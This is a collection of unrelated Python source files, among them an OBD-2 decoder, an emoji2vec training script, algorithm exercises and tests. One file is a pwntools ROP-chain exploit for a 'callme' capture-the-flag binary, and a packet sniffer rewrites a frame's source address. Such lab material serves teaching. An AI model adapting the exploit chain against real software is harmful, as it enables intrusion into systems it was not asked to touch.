    0x45 : PTE(1, 'Relative throttle position', '%', lambda a: a*100.0/255.0),
    0x46 : PTE(1, 'Ambient air temperature', 'C', lambda a: a-40.0),
    0x47 : PTE(1, 'Absolute throttle position B', '%', lambda a: a*100.0/255.0),
    0x48 : PTE(1, 'Absolute throttle position C', '%', lambda a: a*100.0/255.0),
    0x49 : PTE(1, 'Absolute throttle position D', '%', lambda a: a*100.0/255.0),
    0x4A : PTE(1, 'Absolute throttle position E', '%', lambda a: a*100.0/255.0),
    0x4B : PTE(1, 'Absolute throttle position F', '%', lambda a: a*100.0/255.0),
    0x4C : PTE(1, 'Commanded throttle actuator', '%', lambda a: a*100.0/255.0),
    0x4D : PTE(2, 'Time run with MIL on', 'min.', lambda a, b: a*256+b),
    0x4E : PTE(2, 'Time since trouble codes cleared', 'min.', lambda a, b: a*256+b),
    0x4F : PTE(4, 'Maximum value for equivalence ratio, oxygen sensor voltage, oxygen sensor current, and intake manifold absolute pressure', ('', 'V', 'mA', 'kPa'), lambda a, b, c, d: (a,b,c,d*10.0)),

}

sid_02_pids = {
    0x02 : PTE(2, 'Freeze frame trouble code')
}

def _decode_obd_msg(sid, pid_table, msg_type, raw_data):
    '''Generic decode of standard OBD-2 messages'''
    pid = raw_data[1]
    if pid in pid_table.iterkeys():
        te = pid_table[pid]
        summary = 'sid: {:02x}, pid: {:02x}, "{}"'.format(sid, pid, te.description)
        value = None
        if msg_type == OBD2MsgType.Response and len(raw_data) == te.bytes_returned + 2 \
            and te.decoder is not None:
            # get number of arguments
            arg_num = len(inspect.getargspec(te.decoder).args)
            value = te.decoder(*raw_data[2:2+arg_num])

        return (summary, value, te.units)
    else:
        return None

def _decode_obd_sid_03_msg(msg_type, raw_data):
    '''Decode of OBD-2 SID 0x03 messages'''
    summary = 'sid: 03, "Request trouble codes"'
    if msg_type == OBD2MsgType.Response:
        # Get DTC codes from response data
        raw_dtcs = raw_data[1:]
        # Always six bytes in response representing 0 - 3 DTCs
        # Unused DTC slots are 0x0000

        dtc_codes = [raw_dtcs[i]*256+raw_dtcs[i+1] for i in (0, 2, 4)]
        dtcs = []
        for code in dtc_codes:
            if code != 0x0000:
                dtcs.append(decode_dtc(code))

        return (summary, dtcs, '')

    else:
        return (summary, None, '')

def _decode_obd_sid_04_msg(msg_type, raw_data):
    '''Decode of OBD-2 SID 0x04 messages'''
    return ('sid: 04, "Clear trouble codes"', None, '')

_neg_response_codes = {
    0x00: 'cancel acknowledge', # Sagem extension??
    0x10: 'general reject',
    0x11: 'service not supported',
    0x12: 'sub-function not supported',
    0x21: 'busy',
    0x22: 'conditions not correct',
    0x78: 'response pending'
}

def _decode_obd_neg_response(msg_type, raw_data):
    # decode negative response codes defined in J1979 4.2.4
    if msg_type == OBD2MsgType.Response:
        req_sid = raw_data[1]
        response_code = raw_data[2]

        if response_code in _neg_response_codes.iterkeys():
            rc_text = _neg_response_codes[response_code]
        else:
            rc_text = 'unknown (0x{:02x})'.format(response_code)

        summary = 'sid: 7F, req: {}, "Negative response: {}"'.format(req_sid, rc_text)
    else:
        summary = 'sid: 3F, "Cancel request"' # Sagem extension??

    return (summary, None, '')

sid_decoders = {
    0x01: lambda mtype, d: _decode_obd_msg(0x01, sid_01_pids, mtype, d),
    0x02: lambda mtype, d: _decode_obd_msg(0x02, sid_02_pids, mtype, d),
    0x03: _decode_obd_sid_03_msg,
    0x04: _decode_obd_sid_04_msg,
    0x3F: _decode_obd_neg_response # Only used as response 0x7F
}

# NOTE: ISO14229 has additional SIDs

# SID 0x11 ECU reset
# SID 0x27 Security access


import numpy as np
import os
import utils
import argparse as arg
import matplotlib.pyplot as plt
from sklearn.manifold import TSNE
from pandas import read_csv, concat, DataFrame
from keras.utils import plot_model
from keras.optimizers import Adam
from keras.preprocessing.text import Tokenizer
from keras.preprocessing.sequence import pad_sequences
from keras.models import Model
from keras.layers import LSTM, Embedding, Dense, Dropout, Reshape, Input, concatenate, multiply
from keras.utils import to_categorical
from keras.callbacks import ModelCheckpoint, EarlyStopping, ReduceLROnPlateau

parser = arg.ArgumentParser(description='Parser for training/evaluationg emoji2vec model')

# Model parameters
parser.add_argument('-d', '--dim', default=300, type=int, help='train a 300 x k projection matrix (embeddings)')
parser.add_argument('-b', '--batch', default=8, type=int, help='size of the mini-batch')
parser.add_argument('-e', '--epochs', default=80, type=int, help='number of training epochs')
parser.add_argument('-dr', '--dropout', default=0.3, type=float, help='amount of dropout to use')
parser.add_argument('-lr', '--learning', default=0.001, type=float, help='learning rate')
parser.add_argument('-u', '--dense', default=600, type=int, help='dense units')
parser.add_argument('-l', '--lstm', default=False, type=bool, help='either use original or an LSTM architecture')
parser.add_argument('-s', '--seq', default=10, type=int, help='sequence length')

args = parser.parse_args()

embedding_dim = args.dim
batch_size = args.batch
epochs = args.epochs
dropout = args.dropout
learning_rate = args.learning
dense_units = args.dense
seq_length = args.seq
use_lstm = args.lstm

utils.print_settings(embedding_dim, epochs, batch_size, dropout, learning_rate, dense_units, seq_length, use_lstm)

path = os.getcwd()[:os.getcwd().rfind("/")]
emoji_positive = path + "/res/emoji_positive_samples.txt"
emoji_negative = path + "/res/emoji_negative_samples.txt"
emoji_freq = path + "/res/emoji_frequencies.txt"
emoji2vec_visualization = path + "/models/emoji_emb_viz_%dd.csv" % embedding_dim
emoji2vec_weights = path + "/models/weights_%dd.h5" % embedding_dim
emoji2vec_embeddings = path + "/models/emoji_embeddings_%dd.txt" % embedding_dim
glove_filename = path + "/res/glove/" + "glove.6B.%dd.txt" % embedding_dim

# Visualize the TSNE representation of the emoji embeddings
def visualize_emoji_embeddings(top=300):
    # Get the most popular emojis and only plot those
    popular_emojis = [line.split()[0] for line in utils.load_file(emoji_freq)][:top]
    try:
        df = read_csv(emoji2vec_visualization)
        fig = plt.figure()
        ax = fig.add_subplot(111)

        # Get the data you want ot plot
        x_values = []
        y_values = []
        for index, row in df.iterrows():
            if row["emoji"] in popular_emojis:
                x_values.append(row["x"])
                y_values.append(row["y"])
                ax.text(row["x"], row["y"], row["emoji"], fontname="symbola")
        plt.scatter(x_values, y_values, marker="o", alpha=0.0)
        plt.title("t-SNE visualization of %dd emoji embeddings" % embedding_dim)
        plt.grid()
        plt.savefig(path + "/plots/emoji_%dd_vis.png" % embedding_dim)
    except IOError:
        print("Visualization file not found. Train the emoji embeddings before visualizing them "
              "(they will be automatically saved to %s)" % emoji2vec_visualization)

# Add up the embeddings of the word sequences in the descriptions of the emojis
def sum_emb(word_sequences, embedding_matrix):
    summed_emb = []
    for seq in word_sequences:
        seq_emb = np.zeros(embedding_dim)
        for word_index in seq:
            seq_emb += embedding_matrix[word_index]
        summed_emb.append(seq_emb)
    return np.array(summed_emb)

def emoji2vec_model(emoji_vocab_size):
    emoji_input = Input(shape=(1,), dtype='int32', name='emoji_input')
    emoji_emb = Embedding(emoji_vocab_size, embedding_dim, input_length=1, trainable=True, name='emoji_emb')(emoji_input)
    emoji_emb = Reshape((embedding_dim, ))(emoji_emb)
    word_input = Input(shape=(embedding_dim,), name='word_input')
    x = multiply([emoji_emb, word_input])
    x = Dense(dense_units, activation='tanh')(x)
    x = Dropout(dropout)(x)
    model_output = Dense(2, activation='sigmoid', name='model_output')(x)
    model = Model(inputs=[emoji_input, word_input], outputs=[model_output])
    return model

def emoji2vec_lstm_model(embedding_matrix, emoji_vocab_size, word_vocab_size, sequence_length):
    emoji_input = Input(shape=(1,), dtype='int32', name='emoji_input')
    emoji_emb = Embedding(emoji_vocab_size, embedding_dim, input_length=1, trainable=True, name='emoji_emb')(emoji_input)
    emoji_emb = Reshape((embedding_dim, ))(emoji_emb)

    word_input = Input((sequence_length,), dtype='int32', name='word_input')
    word_emb = Embedding(word_vocab_size, embedding_dim, weights=[embedding_matrix],
                         input_length=sequence_length, trainable=False, name='word_emb')(word_input)
    word_lstm = LSTM(embedding_dim, dropout=dropout, name='word_lstm')(word_emb)

    x = concatenate([emoji_emb, word_lstm])
    x = Dense(dense_units, activation='tanh')(x)
    x = Dropout(dropout)(x)
    model_output = Dense(2, activation='sigmoid', name='model_output')(x)
    model = Model(inputs=[emoji_input, word_input], outputs=[model_output])
    return model

# Solely based on emoji descriptions, obtain the emoji2vec representations for all possible emojis
def train_emoji2vec():
    # Load the true emoji data
    pos_emojis = read_csv(emoji_positive, sep="\t", engine="python", encoding="utf_8", names=["description", "emoji"])
    pos_emojis["label"] = 0

    # Load the false emoji data (negative examples)
    neg_emojis = read_csv(emoji_negative, sep="\t", engine="python", encoding="utf_8", names=["description", "emoji"])
    neg_emojis["label"] = 1

    print("There are %d true emoji descriptions and %d false emoji descriptions." % (len(pos_emojis), len(neg_emojis)))

    # Group all the positive emoji examples by their description
    emoji_grouping = pos_emojis.groupby("emoji")["description"].apply(lambda x: ", ".join(x))
    grouped_by_description = DataFrame({"emoji": emoji_grouping.index, "description": emoji_grouping.values})

    # Build an emoji vocabulary and map each emoji to an index (beginning from 1)
    emojis = grouped_by_description["emoji"].values
    emoji_to_index = {emoji: index + 1 for emoji, index in zip(emojis, range(len(emojis)))}
    emoji_vocab_size = len(emoji_to_index) + 1
    print("There are %d unique emojis." % (emoji_vocab_size - 1))

    # Concatenate and shuffle negative and positive examples of emojis
    all_emojis = concat([pos_emojis, neg_emojis]).sample(frac=1, random_state=150493)

    # Build a word vocabulary and map each emoji to an index (beginning from 1)
    descriptions = all_emojis["description"].values
    tokenizer = Tokenizer()
    tokenizer.fit_on_texts(descriptions.tolist())
    word_sequences = tokenizer.texts_to_sequences(descriptions.tolist())
    word_to_index = tokenizer.word_index
    word_vocab_size = len(word_to_index) + 1
    print("There are %d unique words in the descriptions." % (word_vocab_size - 1))

    # Load GLoVe word embeddings
    word_emb = utils.load_vectors(glove_filename)

    # Prepare the word-embedding matrix
    embedding_matrix = utils.get_embedding_matrix(word_emb, word_to_index, embedding_dim, init_unk=False)

    # Prepare training data
    train_emoji = np.array([emoji_to_index[e] for e in all_emojis["emoji"].values])
    print("The emoji tensor shape is ", train_emoji.shape)

    if use_lstm:
        train_words = pad_sequences(word_sequences, maxlen=seq_length, padding='post', truncating='post', value=0.)
    else:
        train_words = sum_emb(word_sequences, embedding_matrix)
    print("The descriptions tensor shape is ", train_words.shape)

    labels = to_categorical(np.asarray([label for label in all_emojis["label"].values]))
    print("The label tensor shape is ", labels.shape)

    # Build the emoji DNN model
    if use_lstm:
        model = emoji2vec_lstm_model(embedding_matrix, emoji_vocab_size, word_vocab_size, seq_length)
    else:
        model = emoji2vec_model(emoji_vocab_size)
    my_optimizer = Adam(lr=learning_rate, beta_1=0.9, beta_2=0.99, decay=0.01)
    model.compile(loss="categorical_crossentropy", optimizer=my_optimizer, metrics=["categorical_accuracy", utils.f1_score])
    print(model.summary())

    plot_model(model, to_file=path + '/plots/emoji2vec_' + str(embedding_dim) + 'd_model_summary.png',
               show_shapes=False, show_layer_names=True)

    # Prepare the callbacks and fit the model
    save_best = ModelCheckpoint(monitor='val_categorical_accuracy', save_best_only=True, filepath=emoji2vec_weights)
    reduceLR = ReduceLROnPlateau(monitor='val_categorical_accuracy', factor=0.1, patience=3, verbose=1)
    early_stopping = EarlyStopping(monitor='val_categorical_accuracy', patience=15, verbose=1)
    history = model.fit([train_emoji, train_words], labels, epochs=epochs, batch_size=batch_size,
                        validation_split=0.1, verbose=1, callbacks=[save_best, reduceLR, early_stopping])

    # Plot accuracy and loss
    utils.plot_training_statistics(history, "/plots/emoji2vec_%dd" % embedding_dim,
                                   plot_validation=True, acc_mode="categorical_accuracy", loss_mode="loss")

    # Get the weights of the trained emoji model
    weights = [layer.get_weights()[0] for layer in model.layers if layer.name == 'emoji_emb']
    weights = weights[0]

    # Get the emoji embeddings and save them to file
    embeddings = DataFrame(weights[1:])
    embeddings = concat([grouped_by_description["emoji"], embeddings], axis=1)
    embeddings.to_csv(emoji2vec_embeddings, sep=" ", header=False, index=False)

    # Get the t-SNE representation
    tsne = TSNE(n_components=2, perplexity=30, init="pca", n_iter=5000)
    trans = tsne.fit_transform(weights)

    # Save the obtained emoji visualization
    visualization = DataFrame(trans[1:], columns=["x", "y"])
    visualization["emoji"] = grouped_by_description["emoji"].values
    visualization.to_csv(emoji2vec_visualization)

    # Visualize the embeddings as a t-sne figure
    visualization.plot("x", "y", kind="scatter", grid=True)
    plt.savefig(path + "/plots/tsne_%dd.png" % embedding_dim)

def analogy_task():
    try:
        emoji2vec_str = utils.load_vectors(filename=emoji2vec_embeddings)
        # Convert to unicode all emoji entries in the dictionary of emoji embeddings
        emoji2vec = {}
        for k, v in emoji2vec_str.items():
            unicode_emoji = utils.convert_emoji_to_unicode(k)
            emoji2vec[unicode_emoji] = v
        # Get some intuition whether the model is good by seeing what analogies it can make based on what it learnt
        utils.make_analogy("👑", "🚹", "🚺", emoji2vec)  # Crown - Man + Woman
        utils.make_analogy("👑", "👦", "👧", emoji2vec)  # Crown - Boy + Girl
        utils.make_analogy("💵", "🇺🇸", "🇬🇧", emoji2vec)
        utils.make_analogy("💵", "🇺🇸", "🇪🇺", emoji2vec)
        utils.make_analogy("👪", "👦", "👧", emoji2vec)
        utils.make_analogy("🕶", "☀", "⛈", emoji2vec)  # Sunglasses - Sun + Cloud
        utils.make_analogy("☂", "⛈", "☀", emoji2vec)  # Umbrella - Clouds + Sun
        utils.make_analogy("🍣", "🏯", "🏰", emoji2vec)  # Sushi - Japanese Castle + European Castle
        utils.make_analogy("👹", "🏯", "🏰", emoji2vec)  # Japanese Ogre - Japanese Castle + European Castle
        utils.make_analogy("🍣", "🗼", "🗽", emoji2vec)  # Sushi - Japanese Tower + Statue of Liberty
        utils.make_analogy("🍣", "🗾", "🗽", emoji2vec)  # Sushi - Japanese Tower + Statue of Liberty
        utils.make_analogy("🍣", "🏯", "🗽", emoji2vec)  # Sushi - Japanese Castle + Statue of Liberty
        utils.make_analogy("🐅", "🐈", "🐕", emoji2vec)  # Jaguar - Cat + Dog
        utils.make_analogy("🐆", "🐈", "🐕", emoji2vec)  # Leopard - Cat + Dog
        utils.make_analogy("🐭", "🐈", "🐕", emoji2vec)  # Mouse - Cat + Dog
        utils.make_analogy("🌅", "🌞", "🌙", emoji2vec)  # Sunrise - Sun + Moon
        utils.make_analogy("🌅", "🌞", "🌑", emoji2vec)  # Sunrise - Sun + Moon
        utils.make_analogy("🌃", "🌙", "🌞", emoji2vec)  # Night with stars - Moon + Sun With Face
        utils.make_analogy("🌃", "🌑", "☀", emoji2vec)  # Night with stars - Moon + Sun With Face
        utils.make_analogy("🌃", "🌙", "☀", emoji2vec)  # Night with stars - Moon + Sun With Face
        utils.make_analogy("😴", "💤", "🏃", emoji2vec)  # Sleeping face - sleeping symbol + running
        utils.make_analogy("😴", "🛌", "🏃", emoji2vec)  # Sleeping face - sleeping accommodatin + running
        utils.make_analogy("😴", "🛏", "🏃", emoji2vec)  # Sleeping face - bed + active symbol (running)
        utils.make_analogy("🏦", "💰", "🏫", emoji2vec)  # Money - Bank + School
        utils.make_analogy("🏦", "💰", "🏥", emoji2vec)  # Money - Bank + Hospital
        utils.make_analogy("💉", "🏥", "🏦", emoji2vec)  # Syringe - Hospital + Bank
        utils.make_analogy("💊", "🏥", "🏦", emoji2vec)  # Pill - Hospital + Bank
        utils.make_analogy("💒", "💍", "👰", emoji2vec)  # Wedding - Ring + Bride
        utils.make_analogy("💒", "💑", "💔", emoji2vec)  # Wedding - Couple + Broken Heart
        utils.make_analogy("💒", "❤", "💔", emoji2vec)  # Wedding - Heart + Broken Heart
        utils.make_analogy("😀", "💰", "🤑", emoji2vec)  # Grinning person - Money + Money Face
        utils.make_analogy("😠", "💰", "🤑", emoji2vec)  # Angry person - Money + Money Face
    except IOError:
        print("Emoji embeddings not found at the provided embeddings file %s. "
              "You have to train them before proceeding to make analogies." % emoji2vec_embeddings)

if __name__ == "__main__":
    if not os.path.exists(emoji2vec_embeddings):
        train_emoji2vec()                 # train model (can skip if already have embeddings)
    visualize_emoji_embeddings()
    analogy_task()


import json
import os

from util.logger import LOGGER
from util.singleton import Singleton

class Metadata(Singleton):
    """Metadata class to load metadata from json files."""

    def __init__(self):
        self.metadata = {}

    def load_files(self, metadata_files):
        """Load metadata from files"""
        LOGGER.debug('Load metadata files...')
        for metadata_file in metadata_files:
            LOGGER.debug('Loading %s...', metadata_file)
            if not os.path.exists(metadata_file):
                raise ValueError('No such file or directory: {}'.format(metadata_file))
            if os.stat(metadata_file).st_size == 0:
                raise ValueError('Empty metadata file: {}'.format(metadata_file))

            with open(metadata_file) as metadata_contents:
                new_metadata = json.load(metadata_contents)
                if 'build_source' not in new_metadata:
                    raise ValueError('build_source field not found in {}'.format(new_metadata))

                # Each build_source can have only one set of metadata
                build_source = new_metadata['build_source']
                if build_source in self.metadata:
                    raise ValueError('Source {} already loaded'.format(build_source))

                # Remove any empty strings
                self.metadata[build_source] = \
                    {k: v for k, v in new_metadata.items() if v != u''}

        LOGGER.trace('metadata:%s', json.dumps(self.metadata, indent=4, sort_keys=True))

    def get(self):
        """Get metadata"""
        return self.metadata

    def set(self, build_source, key, value):
        """Set metadata"""
        if build_source not in self.metadata:
            self.metadata[build_source] = {}
        self.metadata[build_source][key] = value

    def clear(self):
        """Clear metadata"""
        self.metadata = {}

    def __str__(self):
        """Print metadata."""
        return json.dumps(self.metadata, sort_keys=True)


#!/usr/bin/python3
from pwn import *
gs = '''
break pwnme
continue
'''
elf = context.binary = ELF('./callme')
context.terminal = ['tmux', 'splitw', '-hp', '70']

def start():
    if args.GDB:
        return gdb.debug('./callme', gdbscript=gs)
    if args.REMOTE:
        return remote('127.0.0.1', 5555)
    else:
        return process('./callme')
r = start()
#========= exploit here ===================

args = ''
args += p64(0xdeadbeefdeadbeef)# args
args += p64(0xcafebabecafebabe)# args
args += p64(0xd00df00dd00df00d)# args
popargs = 0x401ab0 #pop rdi pop rsi pop rdx
#callme functions
callme1 = 0x401850
callme2 = 0x401870
callme3 = 0x401810
#ropchain
payload = "A"*40
payload += p64(popargs)
payload += args
payload += p64(callme1)
payload += p64(popargs)
payload += args
payload += p64(callme2)
payload += p64(popargs)
payload += args
payload += p64(callme3)

r.sendlineafter(">",payload)
#========= interactive ====================
r.interactive()


"""

Given two strings, write code to calculate how many minimum Levenshtein distance operations are needed to convert one into the other.

Input#
Two strings

Output#
A number

Sample input#
str1 = "sunday"
str2 = "saturday"
Sample output#
result = 3

The time complexity is O(mn)
"""
def min_edit_dist_recurse(s1, s2, m, n):
    lookup_table = [[-1 for i in range(n+1)] for j in range(m+1)]
    for i in range(m+1):
        for j in range(n+1):
            if i == 0:
                lookup_table[i][j] = j
            elif j == 0:
                lookup_table[i][j] = i
            elif s1[i-1] == s2[j-1]:
                lookup_table[i][j] = lookup_table[i-1][j-1]
            else:
                lookup_table[i][j] = 1 + min(lookup_table[i][j-1], lookup_table[i-1][j], lookup_table[i-1][j-1])
    return lookup_table[m][n]

def min_edit_dist(s1, s2):
    return min_edit_dist_recurse(s1, s2, len(s1), len(s2))

# Driver code to test the above function
if __name__ == '__main__':

    str1 = "sunday"
    str2 = "saturday"

    print(min_edit_dist(str1, str2))


# -*- coding: utf-8 -*-
import argparse
from plp_platform import *

import os
import os.path

class Runner(Platform):

    def __init__(self, config, tree):

        super(Runner, self).__init__(config, tree)

        parser = config.getParser()

        parser.add_argument("--binary", dest="binary",
                            help='specify the binary to be loaded')

        parser.add_argument("--devices", dest="devices", default=[], action="append",
                            help='specify platform devices')

        parser.add_argument("--core", dest="core", default='or1k',
                            help='specify core architecture')

        [args, otherArgs] = parser.parse_known_args()

        self.addCommand('prepare', 'Prepare binary for zedboard platform')

    def prepare(self):

        binary = self.config.getOption('binary')

        #if self.config.getOption('core') == 'or1k':
        #    return os.system("hsa_run %s %s" % (self.config.getOption('dir'), binary))
        #else:
        return os.system("hsa_run_riscv %s %s" % (self.config.getOption('dir'), binary))


from majormajor.ops.op import Op
from majormajor.changeset import Changeset

class TestOTSet:

    def test_set_root_preceding(self):
        """
        A preceding operation did a set at the root. Any following
        operations should be transformed to a noop.
        """
        op1 = Op('set', [], val="ABC")
        cs1 = Changeset('doc_id', 'author', [])
        cs1.add_op(op1)

        # op2 happens at root so should be affected
        op2 = Op('si', [], offset=2, val="XYZ")
        op2.ot(cs1)
        assert op2.is_noop() == True

        # op3 happens not at root. still should be affected
        op3 = Op('si', ['k',3,'j'], offset=3, val="XYZ")
        op3.ot(cs1)
        assert op3.is_noop() == True

    def test_set_root_after(self):
        """
        The set root occurs after other unknown operations. They should
        have no effect.
        """
        op1 = Op('si', [], offset=0, val="ABC")
        cs1 = Changeset('doc_id', 'author', [])
        cs1.add_op(op1)

        op2 = Op('set', [], val="XYZ")
        op2.ot(cs1)
        assert op2.is_noop() == False
        assert op1.is_noop() == False

        # op3 happens not at root. still should be affected
        op3 = Op('set', ['k',3,'j'], offset=3, val="XYZ")
        op3.ot(cs1)
        assert op3.is_noop() == False

    def test_complex_path(self):
        op1 = Op('set', ['k',3,'j'], val="ABC")
        cs1 = Changeset('doc_id', 'author', [])
        cs1.add_op(op1)

        op2 = Op('si', [], val="XYZ")
        op2.ot(cs1)
        assert op2.is_noop() == False
        assert op1.is_noop() == False

        op3 = Op('si', ['k',3,'j'], offset=3, val="XYZ")
        op3.ot(cs1)
        assert op3.is_noop() == True
        assert op1.is_noop() == False

        op4 = Op('si', ['k',3,'j','h'], offset=3, val="XYZ")
        op4.ot(cs1)
        assert op4.is_noop() == True
        assert op1.is_noop() == False

    def test_sequence_of_set_ops(self):
        op1 = Op('set', ['k',3,'j'], val="ABC")
        cs1 = Changeset('doc_id', 'author', [])
        cs1.add_op(op1)

        op2 = Op('set', ['k',3,'j'], val="XYZ")
        op2.ot(cs1)
        assert op2.is_noop() == True
        assert op1.is_noop() == False

        cs2 = Changeset('doc_id', 'author', [cs1])
        cs2.add_op(op2)

        op3 = Op('set', ['k',3,'j'], val="XYZ")
        op3.ot(cs2)
        assert op2.is_noop() == True
        assert op3.is_noop() == False


#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2019/11/5 19:25
# @Author  : tc
# @File    : TwoSumII InputArrayIsSorted.py
"""
题号167 两数之和 II - 输入有序数组
给定一个已按照升序排列 的有序数组，找到两个数使得它们相加之和等于目标数。

函数应该返回这两个下标值 index1 和 index2，其中 index1 必须小于 index2。

说明:

返回的下标值（index1 和 index2）不是从零开始的。
你可以假设每个输入只对应唯一的答案，而且你不可以重复使用相同的元素。
示例:

输入: numbers = [2, 7, 11, 15], target = 9
输出: [1,2]
解释: 2 与 7 之和等于目标数 9 。因此 index1 = 1, index2 = 2 。

本题可以用双指针和二分查找两种方法

参考:https://leetcode-cn.com/problems/two-sum-ii-input-array-is-sorted/solution/shuang-zhi-zhen-dui-zhuang-er-fen-fa-python-dai-ma/

"""
from typing import List

class Solution:
    #  双指针
    def twoSum(self, numbers: List[int], target: int) -> List[int]:
        if not numbers:
            return []
        left = 0
        right = len(numbers) - 1
        while left < right:
            if numbers[left] + numbers[right] == target:

                return [left+1, right+1]
            elif numbers[left] + numbers[right] < target:
                left += 1
            else:
                right -= 1

        return []

    #  二分查找
    def twoSum2(self, numbers: List[int], target: int) -> List[int]:
        size = len(numbers)
        for left in range(size - 1):
            right = self.binary_search(left+1,size - 1,numbers,target-numbers[left])
            if right != -1:
                return [left+1,right+1]

    def binary_search(self,left,right,numbers,target):
        while left < right:
            mid = left + ((right - left)>>1)
            if numbers[mid] == target:
                right = mid
            elif numbers[mid] > target:
                right = mid
            elif numbers[mid] < target:
                left = mid + 1
        return left if numbers[left] == target else -1

if __name__ == '__main__':
    numbers = [2, 7, 11, 15]
    target = 9
    solution = Solution()
    print(solution.twoSum2(numbers,target))


#Ejercicio 1

a = 49
b = 25

if a >= b :
    print("Se acerca un asteroide, CORRAN!!")
else:
    print ("No hay asteroide cerca")

#Ejercicio 2

a = 19

if a > 20 :
    print ("Mira al cielo, busquemos un rayo de luz")

elif a  == 20 :
    print ("Podemos ver algun rayo de luz")

else:
    print("No hay nada que buscar!")

#Ejercicio 3

d = 26
v = 22

if  d > 25 and d < 1000 :
    print("Una pieza de un asteroide impactara y ")
if v > 25:
    print("la velocidad del asteroide es superada, Advertencia!")
elif v >20 and v < 25 :
    print ("Habra un rayo de luz sobre el cielo")
else:
    print("No hay peligro")


#!/usr/bin/env python

import pandas as pd
import numpy as np

import matplotlib
import matplotlib.pyplot as plt
matplotlib.rcParams["backend"] = "Qt4Agg"
plt.rcParams["figure.figsize"] = (20, 10)

dataset="covtype"
kappa=0.4
ed=90
reuse_window=0
reuse_rate=0.18
lossy_window=100000000

arf_cpp_path = f"{dataset}/result-0.csv"
pearl_cpp_path = f"{dataset}/k{kappa}-e{ed}/result-sarf-0.csv"
# pearl_cpp_path = f"{dataset}/k{kappa}-e{ed}/r{reuse_rate}-r{reuse_rate}-w{reuse_window}/lossy-{lossy_window}/result-parf-0.csv"

arf_cpp = pd.read_csv(arf_cpp_path, index_col=0)
pearl_cpp = pd.read_csv(pearl_cpp_path, index_col=0)

gain = sum(pearl_cpp["accuracy"]) - sum(arf_cpp["accuracy"])
print(f"PEARL's cumulative accuracy gain: {gain}")

plt.plot(arf_cpp["accuracy"], label="ARF")
plt.plot(pearl_cpp["accuracy"], label="PEARL", linestyle="--")

plt.legend()
plt.xlabel("no. of instances")
plt.ylabel("accuracy")

plt.show()
# plt.savefig('covtype-results.png', bbox_inches='tight', dpi=100)


from camada_enlace import SocketBaixoNivel, Ethernet
from camada_rede import IP
from embelezador_ethernet import Filtro

socket = SocketBaixoNivel()
ethernet = Ethernet(bytes_socket=socket)

try:

    quadro = ethernet.pegar_quadro()
    Filtro(quadro_ethernet=quadro).pormenorizar(numero=ethernet.contador_quadros)

    quadro.change_orig('127.0.0.1')
    Filtro(quadro_ethernet=quadro).pormenorizar(numero=ethernet.contador_quadros)

except KeyboardInterrupt:

	socket.fechar()

	print("\nSniffador fechou o socket! Programa finalizado")